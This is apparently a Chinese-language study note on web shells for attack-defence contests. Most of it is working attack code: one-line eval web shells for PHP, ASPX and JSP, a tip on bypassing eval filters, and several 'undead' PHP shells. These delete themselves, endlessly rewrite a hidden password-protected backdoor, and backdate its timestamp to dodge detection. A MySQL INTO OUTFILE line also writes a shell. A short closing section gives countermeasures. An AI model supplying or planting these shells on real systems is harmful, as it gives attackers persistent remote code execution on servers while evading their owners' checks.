木馬學習
一句話木馬
案例(不免殺)
php
<?php @eval($_POST[cmd]);?> <?php @eval($_REQUEST[cmd]);?>
asp
<?php @eval($_POST[cmd]);?> <?php @eval($_REQUEST[cmd]);?>
jsp
<%
if(request.getParameter(“f”)!=null)(new java.io.FileOutputStream(application.getRealPath("")+request.getParameter(“f”))).write(request.getParameter(“t”).getBytes());
%>
aspx
<%@ Page Language=“Jscript”%> <%eval(Request.Item[“pass”],“unsafe”);%>
含義
-
eval() 把字串作為PHP程式碼執行,如果過濾了eval,可以使用assert繞過
-
@ 不報錯並執行
-
$_POST[cmd] 使用post方法,傳入變數,可上傳對應命令,過濾了GET和POST的情況下,可以用 _REQUEST
-
<form action="xxx.php" name="cmd" method="post">
-
花式木馬
不死馬
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__); //刪除自身,呼叫unlink()的時候,檔案還是存在的,只是目錄裡找不到該檔案了,但是已經開啟這個檔案的程序可以正常讀寫
$file='./.index1.php';
while(1)
{
file_put_contents('shell.php','<?php @eval($_GET[cmd]);?>'); //建立shell.php,這裡最好用免殺的一句話,可見下方不死馬
sleep(10); //間隔時間
}
?>
<?php
ignore_user_abort(true); //忽略使用者中止連線
set_time_limit(0); //不限制指令碼執行時間
$file = '.zzy.php'; //建立的是隱藏檔案
$code = '<?php if(substr(md5($_POST["pass"]), 0, 8) . substr(md5($_POST["pass"]), -8) == "0799f9ba90ca700f"){@eval($_POST["QAXanquanyige_nb"])};';
//用法 ?pass=QAXanquanyige_nb&cmd=phpinfo();
while (1){
file_put_contents($file,$code); //code寫入file
system('touch -m -d "2018-12-01 09:10:12" .zzy.php'); //修改最後檔案修改時間,防止被檢測
usleep(1000);
}
?>
以上程式碼中,md5是無法被還原出明文的,是一種摘要演算法,防止其他人利用
// 變種不死馬
// 在 Linux 命令列中,命令在追加引數時都是用的-,所以,如果對這樣方式命名的檔案執行命令,都會將這個檔案當做引數來執行,沒有該引數就會報錯,以至於命令無法在這個不死馬上執行,但缺點就是隱蔽性沒有以.開頭的好。(來自csdn)
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '-test.php';
$code = '<?php if(md5($_GET["pass"])=="098f6bcd4621d373cade4e832627b4f6"){@eval($_POST[test]);} ?>';
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" -test.php');
usleep(5000);
}
?>
資料庫寫入(root)
SELECT '<?php @eval($_POST["cmd"])?>' INTO OUTFILE '/app/index1.php'
## select ‘<?php eval($_POST[cmd])?>’ into outfile ‘物理路徑’
剋制辦法
一般來說刪去對應程式碼就可,但對於不死馬而言,得用些其他辦法。
首先ls和ll無法查詢到不死馬,需要使用
find ./ -cmin -30 #檢視30分鐘內新建立的檔案
或者
find ./ -name .shell.php #知道名字
- 寫入同名檔案剋制不死馬(上傳該檔案後並訪問它)
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.test.php';
$code = 'come on!'; //程式碼無害
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .test.php');
usleep(1000); // 時間調小,低於不死馬
}
?>
- 條件競爭查殺不死馬
.sh指令碼:
#!/bin/bash
while true
do
#kill -9 程序ID
#ps auxww|grep shell.php 獲取pid
rm -rf .test.php
done
用法:
vim rmss.sh #新建
chmod 777 rmss.sh #最高許可權
nohup ./rmss.sh & #不斷執行
- 重啟php等web服務。
- 建立一個和不死馬生成的馬一樣名字的資料夾。